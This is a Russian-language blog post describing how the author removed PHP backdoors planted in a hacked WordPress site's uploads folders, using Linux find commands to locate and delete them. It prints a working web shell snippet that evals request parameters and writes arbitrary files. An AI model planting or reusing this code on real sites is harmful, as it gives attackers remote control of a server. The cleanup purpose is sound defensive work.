Не так давно столкнулся с проблемой — сайт на WordPress одного из моего товарищей был взломан.
Исполняемый код был помещен в wp-content/uploads, не конкретно в указанную папку, а в директориях, которые WordPress создает когда загружаются медиа-файлы:
Содержимое данных файлов примерно следующего вида:
$evefh = "2f4861e382e353e314b31d245bf46305"; if(isset($_REQUEST['zwmzyili'])) { $ouybnzqm = $_REQUEST['zwmzyili']; eval($ouybnzqm); exit(); } if(isset($_REQUEST['tntk'])) { $samt = $_REQUEST['jfcj']; $oiax = $_REQUEST['tntk']; $iujcskqs = fopen($oiax, 'w'); $dsuq = fwrite($iujcskqs, $samt); fclose($iujcskqs); echo $dsuq; exit();
После анализа было решено, что все файлы нужно удалить. Так как файлов было очень много и они были сохранены в различных директориях, а тратить время на поиск и переходы по папкам было лень — решил что Linux мне поможет (да, можно написать код на php и он все сделает — но это тоже время... притом я давно пользуюсь Linux и тут все есть в коробке 🙂 ).
Алгоритм действий следующий:
1. Перейдите в папку wp-content/uploads (я использую для этого console, ssh и linux):
cd wp-content/uploads
2. Просканируйте папку wp-content/uploads и попробуйте найти в ней незнакомые файлы:
find . -name "*.php"
Команда find в linux отвечает поиск.
3. После того, как вы убедились, что все файлы в данной папке можно удалить, выполните следующую команду:
find . -type f -name "*.php" -exec rm -f {} \;
Готово 🙂